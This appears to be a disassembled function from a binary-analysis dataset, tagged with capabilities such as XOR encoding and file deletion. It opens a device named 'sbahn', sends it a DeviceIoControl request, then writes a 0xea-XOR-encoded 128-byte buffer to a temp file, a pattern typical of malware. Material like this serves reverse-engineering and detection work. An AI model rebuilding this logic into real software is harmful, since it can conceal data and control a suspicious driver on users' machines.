Function at 0x10004790
Capabilities:
Delete file
Encode data using xor
Get common file path
Write file on windows

Disassembly:
sub esp, 0x374
push ebp
push esi
push edi
xor edx, edx
mov ecx, 0x1f
xor eax, eax
lea edi, [esp + 0xb9]
mov byte [esp + 0xb8], dl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x27
xor eax, eax
lea edi, [esp + 0x19]
mov byte [esp + 0x18], dl
rep stosd dword es:[edi], eax
mov ebp, dword [esp + 0x388]
mov dword [esp + 0xc], edx
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [esp + 0x10], edx
xor eax, eax
mov cl, byte [eax + 0x10045de0]
mov dl, byte [eax + ebp]
cmp cl, dl
jne 0x100047fb
inc eax
cmp eax, 0x80
jl 0x100047da
pop edi
pop esi
pop ebp
add esp, 0x374
ret 8
mov ecx, 0x20
mov esi, ebp
mov edi, 0x10045de0
push ebx
rep movsd dword es:[edi], dword [esi]
mov ebx, dword [esp + 0x388]
or ecx, 0xffffffff
mov edi, ebx
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1c]
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x3c]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
mov edi, ebp
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, edx
lea edx, [esp + 0x5c]
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp + 0x20]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x7c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp + 0x40]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x9c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp + 0x60]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.sbahn
lea ecx, [esp + 0x140]
push str.._s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea edx, [esp + 0x13c]
push 0
push 0x80
push 3
push 0
push 0
push 0xc0000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
jne 0x1000490e
call dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1000494d
lea ecx, [esp + 0x10]
test ecx, ecx
je 0x1000491a
mov esi, eax
jmp 0x10004925
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x10]
lea edx, [esp + 0x14]
push 0
push edx
push 0
push 0
lea eax, [esp + 0x2c]
push 0xa0
push eax
push 0x220007
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x20
mov esi, ebp
lea edi, [esp + 0xbc]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov cl, byte [esp + eax + 0xbc]
xor cl, 0xea
mov byte [esp + eax + 0xbc], cl
inc eax
cmp eax, 0x80
jb 0x1000495f
lea ecx, [esp + 0x280]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [esp + 0x280]
push ebx
push edx
lea eax, [esp + 0x184]
push str._s_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [esp + 0x17c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 0x80
push 2
push 0
push 0
lea edx, [esp + 0x190]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
pop ebx
cmp esi, 0xffffffff
je 0x10004a09
lea eax, [esp + 0x14]
push 0
push eax
lea ecx, [esp + 0xc0]
push 0x80
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
add esp, 0x374
ret 8